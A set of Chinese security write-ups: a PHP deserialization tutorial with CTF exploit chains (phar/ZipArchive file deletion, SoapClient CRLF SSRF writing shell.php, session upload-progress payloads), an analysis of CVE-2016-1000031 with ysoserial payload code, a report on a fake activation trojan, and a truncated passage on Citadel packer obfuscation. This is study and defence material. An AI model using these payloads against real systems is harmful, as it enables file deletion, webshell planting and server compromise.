## 原生类序列化(ZipArchive::open)
拿这次2019 ByteCTF的ezCMS这道题来学习这个知识点。
先是哈希长度扩展攻击 [参考](https://www.cnblogs.com/pcat/p/5478509.html)
登录账户：admin
登录密码：admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00test
置cookie：user=2e05fd4ee5d0ec7853d174d06cd3ca47;
config.php：
<?php
session_start();
error_reporting(0);
$sandbox_dir = 'sandbox/'. md5($_SERVER['REMOTE_ADDR']); // sandbox + md5(ip)
global $sandbox_dir;
function login(){
$secret = "********";
setcookie("hash", md5($secret."adminadmin"));
return 1;
# 52107b08c0f3342d2153ae1d68e6262c
}
function is_admin(){
$secret = "********";
$username = $_SESSION['username'];
$password = $_SESSION['password'];
if ($username == "admin" && $password != "admin"){
if ($_COOKIE['user'] === md5($secret.$username.$password)){
return 1;
}
}
return 0;
}
class Check{ // 检查一些关键字
public $filename;
function __construct($filename)
{
$this->filename = $filename;
}
function check(){
$content = file_get_contents($this->filename);
$black_list = ['system','eval','exec','+','passthru','`','assert']; // 检查了文件中的一些关键字
foreach ($black_list as $k=>$v){
if (stripos($content, $v) !== false){
die("your file make me scare");
}
}
return 1;
}
}
class File{
public $filename;
public $filepath;
public $checker;
function __construct($filename, $filepath)
{
$this->filepath = $filepath;
$this->filename = $filename;
}
public function view_detail(){
if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
die("nonono~");
}
$mine = mime_content_type($this->filepath); //这里可以触发phar反序列化
$store_path = $this->open($this->filename, $this->filepath);
$res['mine'] = $mine;
$res['store_path'] = $store_path;
return $res;
}
public function open($filename, $filepath){
$res = "$filename is in $filepath";
return $res;
}
function __destruct() //类被销毁时自动触发
{
if (isset($this->checker)){
$this->checker->upload_file(); //调用upload_file()方法
}
}
}
class Admin{
public $size;
public $checker;
public $file_tmp;
public $filename;
public $upload_dir;
public $content_check;
function __construct($filename, $file_tmp, $size)
{
$this->upload_dir = 'sandbox/'.md5($_SERVER['REMOTE_ADDR']);
if (!file_exists($this->upload_dir)){
mkdir($this->upload_dir, 0777, true);
}
if (!is_file($this->upload_dir.'/.htaccess')){
file_put_contents($this->upload_dir.'/.htaccess', 'lolololol, i control all');
}
$this->size = $size;
$this->filename = $filename;
$this->file_tmp = $file_tmp;
$this->content_check = new Check($this->file_tmp);
$profile = new Profile();
$this->checker = $profile->is_admin();
}
public function upload_file(){
if (!$this->checker){
die('u r not admin');
}
$this->content_check -> check();
$tmp = explode(".", $this->filename);
$ext = end($tmp); //
if ($this->size > 204800){
die("your file is too big");
}
#
move_uploaded_file($this->file_tmp, $this->upload_dir.'/'.md5($this->filename).'.'.$ext);
}
public function __call($name, $arguments)
{
}
}
class Profile{
public $username;
public $password;
public $admin;
public function is_admin(){
//从SESSION当中取用户名和密码
$this->username = $_SESSION['username'];
$this->password = $_SESSION['password'];
$secret = "********";
if ($this->username === "admin" && $this->password != "admin"){
if ($_COOKIE['user'] === md5($secret.$this->username.$this->password)){
return 1;
}
}
return 0;
}
function __call($name, $arguments) //当调用不存在的方式时触发
{
$this->admin->open($this->username, $this->password); //这里作为
}
}
view.php:
<?php
error_reporting(0);
include ("config.php");
$file_name = $_GET['filename'];
$file_path = $_GET['filepath'];
$file_name=urldecode($file_name);
$file_path=urldecode($file_path);
$file = new File($file_name, $file_path); //调用File类
$res = $file->view_detail(); //调用view_detail方法
$mine = $res['mine'];
$store_path = $res['store_path'];
echo <<<EOT
<div style="height: 30px; width: 1000px;">
<Ariel>mine: {$mine}</Ariel><br>
</div>
<div style="height: 30px; ">
<Ariel>file_path: {$store_path}</Ariel><br>
</div>
EOT;
?>
在view.php中，url中传递的filename与filepath进行一次url编码之后传递到File类中调用view_detail方法。
view_detail方法中存在一个`mime_content_type()`函数, 这个函数是可以导致phar反序列化的。
在此之前：
if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
die("nonono~");
}
这个正则禁止了大部分的进行phar反序列化的关键词，不允许这些关键词出现在filepath的开头。但是这里漏了一个php://协议。
[参考SUCTF](https://www.xctf.org.cn/library/details/17e9b70557d94b168c3e5d1e7d4ce78f475de26d/)
找到了phar反序列化触发点之后，开始构造一条可利用的POP链，思路：
1. File类的`__destruct()`会调用`$this->checker->upload_file()`。可以将`$this->checker`赋值为Profile类
2. 因为`$this->checker`没有Profile类，触发`__call()`魔术方法
3. 调用`$this->admin->open($this->username, $this->password);` 这里可以使用原生类反序列化
原生类反序列化[参考](https://xi4or0uji.github.io/2019/06/27/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%94%B1%E6%B5%85%E5%88%B0%E6%B7%B1/)
简要笔记：
利用PHP函数 ZipArchive::open($filename, $flags)
当$flag=ZipArchive::OVERWRITE时，就会将$filename的文件删除
构造Payload：
<?php
class File{
public $filename;
public $filepath;
public $checker;
function __construct($filename, $filepath)
{
$this->filepath = $filepath;
$this->filename = $filename;
$this->checker = new Profile();
}
}
class Profile{
public $username;
public $password;
public $admin;
function __construct()
{
$this->username = "./sandbox/f528764d624db129b32c21fbca0cb8d6/.htaccess";
$this->password = "ZipArchive::OVERWRITE";
$this->admin = new ZipArchive();
}
}
$a = new File("threezh1", "threezh1");
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
先把phar文件生成出来上传。
再访问：[http://127.0.0.1/view.php?filename=9c7f4a2fbf2dd3dfb7051727a644d99f.phar&filepath=php://filter/resource=phar://sandbox/f528764d624db129b32c21fbca0cb8d6/9c7f4a2fbf2dd3dfb7051727a644d99f.phar](http://127.0.0.1/view.php?filename=9c7f4a2fbf2dd3dfb7051727a644d99f.phar&filepath=php://filter/resource=phar://sandbox/f528764d624db129b32c21fbca0cb8d6/9c7f4a2fbf2dd3dfb7051727a644d99f.phar)
即可把.htaccess删除，再直接去访问一句话木马连蚁剑拿flag。(这里由于题目已经关了，自己的环境总是出问题，就没复现成功。)
## 原生类魔法函数(soapClient类)
参考这一篇：[反序列化攻击面拓展提高篇](https://coomrade.github.io/2018/10/26/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%94%BB%E5%87%BB%E9%9D%A2%E6%8B%93%E5%B1%95%E6%8F%90%E9%AB%98%E7%AF%87/)
SOAP是webService三要素（SOAP、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andIntegration)）之一
WSDL 用来描述如何访问具体的接口
UDDI用来管理，分发，查询webService
SOAP（简单对象访问协议）是连接或Web服务或客户端和Web服务之间的接口。
webService相当于 HTTP + XML
SoapClient()方法
`public SoapClient::SoapClient ( mixed $wsdl [, array $options ] )`
第一个参数是用来指明是否是wsdl模式，如果为null，那就是非wsdl模式，反序列化的时候会对第二个参数指明的url进行soap请求。
用Soap进行SSRF也有两个需要注意的点：
* Soap不是默认开启的，需要手动开启
* 需要触发__call方法才能进行SSRF
SOAP => CRLF => SSRF
文章当中的exp.php：
<?php
$target = 'http://127.0.0.1/test.php';
$post_string = '1=file_put_contents("shell.php", "<?php phpinfo();?>");';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: xxxx=1234'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);
echo $aaa;
$c=unserialize(urldecode($aaa));
$c->ss();
?>
test.php:
<?php
if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){
echo 'hi';
@$a=$_POST[1];
@eval($a);
}
?>
访问 `http://127.0.0.1/exp.php` 可在目录下写入一个shell.php。
## Session反序列化
参考这一篇[PHP中SESSION反序列化机制](https://blog.spoock.com/2016/10/16/php-serialize-problem/)
### PHP中的session保存
PHP.ini有以下配置项用于控制session有关的设置：
session.save_path="D:\xampp\tmp" 表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files 表明session是以文件的方式来进行存储的
session.auto_start=0 表明默认不启动session
session.serialize_handler=php 表明session的默认序列话引擎使用的是php序列话引擎
PHP中有多种session的序列话引擎，当我设置session为`$_SESSION["name"] =
"Threezh1";`时。不同的引擎保存的session文件内容如下：
php:
name|s:8:"Threezh1";
存储方式是，键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php_binary:
names:8:"Threezh1";
存储方式是，键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4):
a:1:{s:4:"name";s:8:"Threezh1";}
存储方式是，经过serialize()函数序列化处理的值
切换不同引擎使用的函数为：`ini_set('session.serialize_handler', '需要设置的引擎');`
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
// do something
### Session反序列化漏洞的原理：
如果在PHP在反序列化存储的`$_SESSION`数据时使用的引擎和序列化使用的引擎不一样，会导致数据无法正确第反序列化。如果session值可控，则可通过构造特殊的session值导致反序列化漏洞。
文章中有一个简单的例子：
test1.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];
?>
test2.php
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
var $hi;
function __construct(){
$this->hi = 'phpinfo();';
}
function __destruct() {
eval($this->hi);
}
}
?>
通过源码可以得知，test1中使用的session解析引擎是php_serialize，test2使用的是php。
并且在test1中，`SESSION["spoock"]`的值是可控的。
访问：
`http://localhost/test1.php?a=|O:5:%22lemon%22:1:{s:2:%22hi%22;s:16:%22echo%20%27Threezh1%27;%22;}`
a参数的值为“|” + 一个序列化的对象。
再访问：
`http://localhost/test2.php`
返回：
`Threezh1`
可知我们在session中的解析过程中，对我们的payload进行了反序列化。为什么会出现这种情况呢？
### payload的构造
先看两个解析引擎存储session的格式：
php:
name|s:8:"Threezh1";
存储方式是，键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php_serialize(php>5.5.4):
a:1:{s:4:"name";s:8:"Threezh1";}
存储方式是，经过serialize()函数序列化处理的值
思路：
因为储存session的页面(test1)使用的是php_serialize解析引擎，如果我们把session的值中添加一个“|”，在test2页面中使用php解析引擎解析的过程中，就会把“|”前面的值作为一个session键名，对“|”后面就会进行一个反序列化操作。
“|”后面的序列化对象生成：
<?php
class lemon {
var $hi;
function __construct(){
$this->hi = 'phpinfo();';
}
function __destruct() {
eval($this->hi);
}
}
$a = new lemon();
$a->hi = "echo 'Threezh1';";
echo serialize($a)
?>
但是直接这样利用的话，局限性还是太大了。
但在[有趣的php反序列化总结](http://www.91ri.org/15925.html)中介绍了另一种Session反序列化漏洞的利用方式。
当PHP中`session.upload_progress.enabled`打开时，php会记录上传文件的进度，在上传时会将其信息保存在`$_SESSION`中。[详情](https://bugs.php.net/bug.php?id=71101)。
条件：
1. session.upload_progress.enabled = On (是否启用上传进度报告)
2. session.upload_progress.cleanup = Off (是否上传完成之后删除session文件)
上传文件进度的报告就会以写入到session文件中，所以我们可以设置一个与session.upload_progress.name同名的变量(默认名为PHP_SESSION_UPLOAD_PROGRESS)，PHP检测到这种同名请求会在`$_SESSION`中添加一条数据。我们就可以控制这个数据内容为我们的恶意payload。
本打算复现：[有趣的php反序列化总结](http://www.91ri.org/15925.html),但在传递payload的时候，payload如果存在"|"。session就会为空，还没有找到解决的方法，如果有师傅遇到同样的问题，还望师傅帮忙解答。
### jarvisoj-web-writeup PHPINFO
题目地址：<http://web.jarvisoj.com:32784/>
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
开头将session的解析引擎定义为了php。
访问：<http://web.jarvisoj.com:32784/index.php?phpinfo>
可看到session.upload_progress.enabled，session.upload_progress.cleanup都符合条件。
于是构造一个upload.html
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
poc.php：
<?php
class OowoO
{
public $mdzz;
}
$a = new OowoO();
$a->mdzz = "print_r(scandir(__dir__));";
echo serialize($a);
?>
生成序列化的值为：
`O:5:"OowoO":1:{s:4:"mdzz";s:22:"print_r(system('ls'));";}`
在上传的时候抓包，修改上传的内容为序列化的值前加一个“|”。即可遍历目录。
再从phpinfo中的SCRIPT_FILENAME字段得到根目录地址：`/opt/lampp/htdocs/`,构造得到payload：
`O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents('/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php'));";}`
得到flag：
## 参考
* <https://www.k0rz3n.com/2018/11/19/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/>
* <https://www.anquanke.com/post/id/159206>
* <https://chybeta.github.io/2017/07/05/jarvisoj-web-writeup/#PHPINFO> | 社区文章 |
作者：spoock
作者博客：<https://blog.spoock.com/2018/10/15/cve-2016-1000031/>
### 说明
前几天刚刚分析了Apache Commons
FileUpload的Dos的漏洞，无意间发现了还存在反序列化的漏洞。网上只存在[cve-2016-1000031 Apache Commons
FileUpload
反序列化漏洞深入分析](https://blog.csdn.net/raintungli/article/details/56008382)。这篇文章只是简要地分析了一下，但是对于原理还是不理解。后来发现在`ysoserial`中存在这个漏洞的Payload，于是就根据ysoserial中的Payload对这个漏洞进行分析。
### 漏洞说明
漏洞的来源是在于`DiskFileItem`中的`readObject()`进行文件写入的操作，这就意味着如果我们对已经序列化的`DiskFileItem`对象进行反序列化操作就能够触发`readObject()`执行从而触发这个漏洞。
这个漏洞的危害是能够任意写、读文件或者目录。但是具体是对文件还是目录操作与FileUpload以及JDK的版本有关。不同的漏洞环境能够达到的效果不一样。
1. FileUpload的1.3.1之前的版本配合JDK1.7之前的版本，能够达到写入任意文件的漏洞;
2. FileUpload的1.3.1之前的版本配合JDK1.7及其之后的版本，能够向任意目录写入文件;
3. FileUpload的1.3.1以及之后的版本只能向特定目录写入文件，此目录也必须存在。(文件的的命名也无法控制);
下面将进行详细地分析
### Payload构造
我们首先测试的版本是1.3的版本，JDK是1.8版本，所以这种组合只能达到向任意目录的文件写入的漏洞效果。
我们测试的payload是`{"write;cve1000031;123456"}`，表示的含义就是向目录`cve1000031`中写入`123456`的内容。在`ysoserial`中最终是由`ysoserial.payloads.FileUpload1::makePayload()`来构建payload。代码如下：
private static DiskFileItem makePayload ( int thresh, String repoPath, String filePath, byte[] data ) throws IOException, Exception {
// if thresh < written length, delete outputFile after copying to repository temp file
// otherwise write the contents to repository temp file
File repository = new File(repoPath);
DiskFileItem diskFileItem = new DiskFileItem("testxxx", "application/octet-stream", false, "testxxx", 100000, repository);
File outputFile = new File(filePath);
DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
os.write(data);
Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
return diskFileItem;
}
当我们输入我们的Payload，`{"write;cve1000031;123456"}`,其中的赋值情况是：
而`thresh`的值就是我们需要写入的内容的长度加1，即`len(123456)+1`结果就是7。其中还有`filePath`是`cve1000031/whatever`是因为在这个漏洞环境中我们最终是向`cve1000031`目录写入，所以后面是什么就没有意义了。
最后在代码中还存在几个反序列化的操作：
Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
发序列化的意义是在于我们无法通过`DiskFileItem`的示例进行设置，只能通过反射的方式设置，这几个属性也是我们触发漏洞的必要条件。
之后对我们构造的这个进行序列化操作，反序列化之后就会触发DiskFileItem的`readObject()`从而触发漏洞。
### 漏洞分析-1
漏洞环境： `FileUpload 1.3`+`JDK1.7`
当对`DiskFileItem`的对象进行反序列化操作时，由`org.apache.commons.fileupload.disk.DiskFileItem::readObject()`处理。
private void readObject(ObjectInputStream in)
throws IOException, ClassNotFoundException {
// read values
in.defaultReadObject();
OutputStream output = getOutputStream();
if (cachedContent != null) {
output.write(cachedContent);
} else {
FileInputStream input = new FileInputStream(dfosFile);
IOUtils.copy(input, output);
dfosFile.delete();
dfosFile = null;
}
output.close();
cachedContent = null;
}
跟进`getOutputStream()`，进入到:
public OutputStream getOutputStream()
throws IOException {
if (dfos == null) {
File outputFile = getTempFile();
dfos = new DeferredFileOutputStream(sizeThreshold, outputFile);
}
return dfos;
}
由于`dfos == null`满足条件，会执行`File outputFile =
getTempFile();`方法。跟踪进入`getTempFile()`到中
其中的`tempDir`就是我们设置的`repository`，即`cve1000031`。`tmpFileName`是由`DiskFileItem`是自动生成的。最终和`tempDir`组合得到的文件路径就是`cve1000031\upload_7b496a67_4fc4_4b14_a4e7_ff5aceb82aaf_00000000.tmp`。
最后返回至`readObject()`方法中写入文件，如下：
其中的`cachedContent`就是我们之前在Payload中设置的`123456`。那么Payload的最终的效果就是在`cve1000031\upload_7b496a67_4fc4_4b14_a4e7_ff5aceb82aaf_00000000.tmp`文件中写入了`123456`的内容。
### 漏洞分析-2
由于前面的一个漏洞分析是向任意目录写文件的功能，本次分析的是任意文件写入的功能。本次的漏洞环境是`FileUpload 1.3`+`JDK1.6`。
#### Payload构造
构造的Payload是`{"writeOld;cve1000031.txt;123456"}`。同样会调用`makePayload()`构造Payload。
但是其中的`repoPath`最后一位是`\0`，这个就类似于PHP中的截断，用于截断后面的路径，这样就可以达到任意文件写入的效果。具体的原理说明如下：
> JDK7以上在Java的file相关的基础类中都做了空字符的保护，这也是在针对java的string 和 c
> char的结束方式不一致，在Java中文件的操作中使用String这种char 数组，而C中的char
> 是以空字符为结束符，所以java操作的文件中很容易通过注入空字符来操作完全不同的文件。比如`Java File file = new
> File("/test/test.txt\0.jsp")`
> 看起来再操作`test.txt\0.jsp`实际上在底层调用的（本质还是c读写文件）是在操作test.txt。在JDK7以后的版本File
> 里面会有一个判断是否有空字符的函数
这个意思就是在JDK7之前可以利用`\0`进行目录截断，和php在5.3.4版本之前也可以进行目录截断是一样的道理。所以这个任意文件写入为什么要求是JDK7以下的版本才可以的原因。
漏洞的执行流程和前面分析的漏洞流程一样，不同是在`getTempFile()`中:
其中`this.tempFile`的路径是`cve1000031.txt
\upload_6982dc32_8ca4_4d7c_b658_0a9b44a60741_00000000.tmp`。由于是在JDK1.6的环境下，后面的`\upload_6982dc32_8ca4_4d7c_b658_0a9b44a60741_00000000.tmp`在写入文件时会被忽略，所以最终是向`cve1000031.txt`文件中写入内容。
### 漏洞分析-3
漏洞环境： `FileUpload 1.3.1`+`JDK1.7` 在`FileUpload
1.3.1`中对`readObject()`的功能进行了修改。修改主要是对`repository`进行了校验。
private void readObject(ObjectInputStream in)
throws IOException, ClassNotFoundException {
// read values
in.defaultReadObject();
/* One expected use of serialization is to migrate HTTP sessions
* containing a DiskFileItem between JVMs. Particularly if the JVMs are
* on different machines It is possible that the repository location is
* not valid so validate it.
*/
if (repository != null) {
if (repository.isDirectory()) {
// Check path for nulls
if (repository.getPath().contains("\0")) {
throw new IOException(format(
"The repository [%s] contains a null character",
repository.getPath()));
}
} else {
throw new IOException(format(
"The repository [%s] is not a directory",
repository.getAbsolutePath()));
}
}
OutputStream output = getOutputStream();
if (cachedContent != null) {
output.write(cachedContent);
} else {
FileInputStream input = new FileInputStream(dfosFile);
IOUtils.copy(input, output);
dfosFile.delete();
dfosFile = null;
}
output.close();
cachedContent = null;
}
通过对`repository.isDirectory()`和`repository.getPath().contains("\0")`的判断，就阻止了任意的文件写入的漏洞了。所以在这种环境下只能下特定的目录写入文件了。但是这种情况下，你也只能向临时目录写入文件。
### 总结
分析这个漏洞学习到了JDK1.6的截断同时也感慨`ysoserial`的强大。
以上
* * * | 社区文章 |
# 伪装成“小马激活”的木马泛滥,幕后推手原来是搜索推广
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**最近360互联网安全中心监控到,一款伪装成“小马激活”的木马程序再次兴起并大量传播,运行过这款小马激活后,非但系统没有激活,浏览器的收藏夹/默认搜索引擎/主页均遭到篡改,还会被安装大量推广软件。对木马溯源发现,木马的传播源头绝大多数来自搜索引擎推广的钓鱼站。**
很多用户在装完系统之后,最重要的一件事当然是“激活系统”。虽然我们并不赞成大家使用盗版软件破解操作系统,但也无意干涉用户的选择。在各种各样的激活工具中,“小马激活”无疑是知名度非常高的一个。然而正如我们之前的一篇木马分析中介绍的那样(《[云控攻击之“人生在世”木马分析](http://blogs.360.cn/blog/cloud-life/)》):小马激活工具针对Win7/Win8这两个系统的版本在2009年7月发布之后,就已经不再更新了,现在市面上所可以见到的几乎所有的“小马激活”全是假的。但就是在这样一个大前提下,在某搜索引擎搜索“小马激活”的时候我们依然得到了这样的结果:
可以看到,不仅两个钓鱼站堂而皇之被推广到了顶部,而且还都加了V,而且被发现的钓鱼站,更是V2级的大V啊!要知道在百度的认证体系中,只有像微软这样的公司才是V3级
而像苹果官网这种级别的网站,也就是和钓鱼网站一样的V2级。
进入小马激活钓鱼站之后,打开的是一个看起来还挺像回事的页面。
只是点了那个大大的下载按钮之后就不是那么个意思了……又见百度网盘。
万幸的是这个下回来的小马激活并没有我们之前的分析博客中分析的那个木马那么丧心病狂。
首先,如果你的机器上有杀毒软件,他会勒令你关掉。我理解大家激活系统的心情……但请大家相信,真正的小马激活是没有这个强制要求的。
而这个“假马激活”其实主要就干了两件事:
其一是向AppData目录下的各个浏览器数据文件夹中释放各种书签和配置文件
以Chrome内核的浏览器为例,用户数据目录中均被释放了Bookmarks文件,向书签中添加了大量的广告站点:
同时还有SQLite数据库格式的Favicons,里面也大量的出现了他推广的227237.com这个网址:
其二,就是修改注册表了:
注册表内容一目了然——修改搜索引擎和主页:
木马还会加载驱动,做首页劫持和防查杀:
注册表回调(Cmpcallback)
注册回调:
这个驱动注册了cmpCallBack , 发现操作进程为360Safe.exe 且操作注册表路径带”shell”字样的就禁止访问
最后,大家在网上查找软件时,应该格外注意搜索引擎推广的内容,被已经被杀毒软件拦截的程序,页面不要继续访问和使用。有条件的用户,建议还是使用正版软件和操作系统,谨防破解补丁中暗藏的木马。 | 社区文章 |
# 漫谈混淆技术----从Citadel混淆壳说起
|
##### 译文声明
本文是翻译文章，文章来源：360天眼安全实验室
译文仅供参考，具体内容表达以及含义原文为准。
**作者：360天眼实验室**
由于杀软对商业壳比较敏感，并且商业壳检测,脱壳技术比较成熟，病毒作者一般不会去选择用商业的壳来保护自己的恶意代码,所以混淆壳成为了一个不错的选择.混淆壳可以有效对抗杀软，因为这种壳一般不存在通用的检测方法，并且很难去静态的脱壳，所以其恶意代码就不会被发现,从而使自己长时间的存在.对于恶意代码分析者来说，分析这种带混淆壳的样本往往会花费很大精力，甚至有时候会使分析变得不可能。本文主要几种常见的混淆手段,不涉及样本本身功能分析。
**1.从一个样本说起**
Citadel(md5:
767a861623802da72fd6c96ce3a33bff)是一个zeus的衍生版本,其较zeus更加的健壮,也更稳定。前一段时间发现了一个citadel
样本，较之普通的citadel稍微有一点特别，其整体的结构如下图：
图1 Citadel样本结构
即外层加了upx的壳，里面是一个混淆壳，再往里面才是citadel原始代码。脱掉UPX后的,混淆壳代码分支总览图：
图2混淆壳代码分支总览图
对于citadel样本本身的功能与特点，本文不会提及，刚兴趣的可以自己去查资料，这里主要讲讲citadel壳的一些特点，与常见的几种混淆的手段。
下面的图为该混淆壳的混淆代码片段，其中这么一大段代码中只有红框中的指令是有用的。其他都是无效指令。很显然比一般的垃圾指令填充不知道高到哪里去了。
图 3，混淆片段实例
**1.1Citadel混淆壳的一个trick**
当手动脱掉upx后，运行样本后就崩溃了，然而不脱upx壳，样本是可以正常运行的。运行前后api trace 对比图:
图4,api trace
其中左图是脱掉upx壳的api log，右图为没脱upx壳的api
log，从图中我们可以看到在地址0x4176768地址中的调用的API名不同。很显然从这里出错了。从这个地址往上回溯，这个调用api的过程被划分为十几个代码块，然后利用JMP连接起来，其中每个代码块就只有一两条代码是有效指令：
图5，获取导入表导入函数地址表第四项过程
通过上图我们发现call esi指令中esi的值由mov
esi,[esi+0xch]获得,esi+0xch的值是导入函数地址表中第四项的api的地址。所以问题很可能出现在这里，即脱壳后与脱壳前导入地址表第四项api不同。
图6，没脱upx壳的导入函数地址表：
图 7，脱掉upx壳的第四项：
所以我们可以看出问题就出现在这里。即脱壳后与脱壳前导入函数地址表的不同导致了脱壳后citadel运行奔溃.从这一点可以看出这个样本在加壳的时候就是upx壳与内层混淆壳是天然一体的。
**1.2混淆壳整个的执行流程**
图 8,代码执行流程
1\. upx壳代码执行。
2\. 混淆代码Routine 1。
3\. 解密Routine2代码（堆内存）。
4\. Routine2 执行(堆代码)，解密原始citadel代码，修复api调用函数地址。
5．执行原始citadel代码流程。
**1.3 混淆代码的细节**
在这个样本中，各种混淆函数中，大部分的代码是操作都是在操作0x439000-0x4390a4区块的数据，其中混淆函数里面插入一两条真正有用的代码，如图1红框中的指令，然后这些混淆函数串联起来，完成对0x4390a8开始大小为0x3b70的数据的解密。如果对这种类型混淆壳不熟悉的的话很容易被这些无用的混淆指令所干扰，分析人员可能会花费大量的时间在理解这些无用的计算上面了。
**1.4混淆代码snippet 类型**
如前面所说citadel大部分的混淆代码主要是操作数据读写，主要的混淆代码是由一下几种模式组合起来，形成这种长的混淆代码片段的，作者使用这几种模式：
1．
Mov reg1,[xxx1]
Op reg1,imm1
OP reg1.Imm2
Mov [xxx2],reg1
2.
Mov reg1,[xxx1]
Mov reg2,[xxx2]
Op reg2, reg1
Mov [xxx3],reg1/2
3.
Mov reg1,[xxx1]
Op reg1,imm1
Mov [xxx2],reg1
4.
Mov reg1,[xxx1]
Op reg1,
Op reg1 ,imm？
Op reg1
Mov [xxx2],reg1
如下图所示
图8，混淆模式
基本上在Routine1的混淆代码中就是这种代码的随机组合形成的，然后用控制流程指令，如jmp/jz/jnz/jne/je连接起来。
**2.混淆壳常见的几种技术手段**
1\. 控制流程混淆
2\. 数据混淆
3\. 代码混淆
需要说明的是这几种混淆方式是完全可以同时存在的。
**2.1控制流程混淆**
**2.1.1码块乱序**
对于编译器来说在生成代码的时候，一般情况下逻辑相关的代码块都处在相距离比较近的位置。但是对于混淆来说是故意打破这种规则的，毫无疑问这将会使分析人员花费更长的时
间来分析此类样本。
**2.1.2代码块分割**
即将一个函数过程分割成更多的流程。扰乱分析者对样本分析，很显然这样的过程会使分析者感到沮丧，严重拖慢了分析效率。这个在citadel中是有体现的。即在执行Routine2堆内存代码的时候:
图9 代码块分割
每执行一跳指令就会jmp到另一个代码块。当然这只是一个很小的例子，其中这里面可以更加的复杂，比如添加更多的dead code blocks。
**2.2数据混淆**
**2.2.1常量拆分（constant unfolding）**
常量拆分是一个比较常用的混淆手段，主要目的是隐藏真实的代码逻辑，让分析者内心崩溃
比如:value=9*8,实际上value就是72，恶意代码编写者故意让这些常数72,在运行时由乘法指令产生。常量拆分就是一种逆向的操作，把本来可以直接获取的值，通过计算来产生的一种混淆方式。如下图:
图10，常量拆分
本来直接可以mov esi,0x400000，但是却拆分成两部分而且其中添加不少无效指令
其中经过红框中的计算可以得到esi的值为0x400000.这一步的目的是获取pe文件基址。很显然恶意代码作者没有考虑地址随机化问题。
**2.2.2数据编码**
数据编码的原理就是将常量数据动态编码，然后在动态的解解码，数据编码集中体现在加密解密上。同样在citadel这个样本里我们发现有这样的过程，如下图：
图11，数据编码
Result由 4390a0与43905c异或获取，而这两个值也是动态计算出来的。所以这样的编码如想静态的获取result会比较困难。
**2.3代码混淆**
**2.3.1指令替换**
对于指令的替换，这个大家见得比较多。就是指令的拆分，或者合并，目的是使分析人员更加难以理解，或者拖慢分析速度。
MOV Mem,Imm
CMP/TEST Reg,Mem --> CMP/TEST Reg,Imm
Jcc @xxx Jcc @xxx
MOV Reg,Imm -> LEA Reg,[Imm]
ADD Reg,Imm -> LEA Reg,[Reg+Imm]
MOV Reg,Reg2 -> LEA Reg,[Reg2]
ADD Reg,Reg2 -> LEA Reg,[Reg+Reg2]
OP Reg,Imm -> MOV Mem,Imm TEST Reg,Imm -> MOV Mem,Reg
OP Mem,Reg Jcc @xxx AND/TEST Mem,Imm
MOV Reg,Mem Jcc @xxx
这些指令的含义很简单，这里就不介绍了。类似的这种指令替换方式变化无穷。
**2.3.2MOV指令混淆**
在去年的recon大会中《The M/o/Vfuscator-Turning 'mov' into a soul-crushing RE
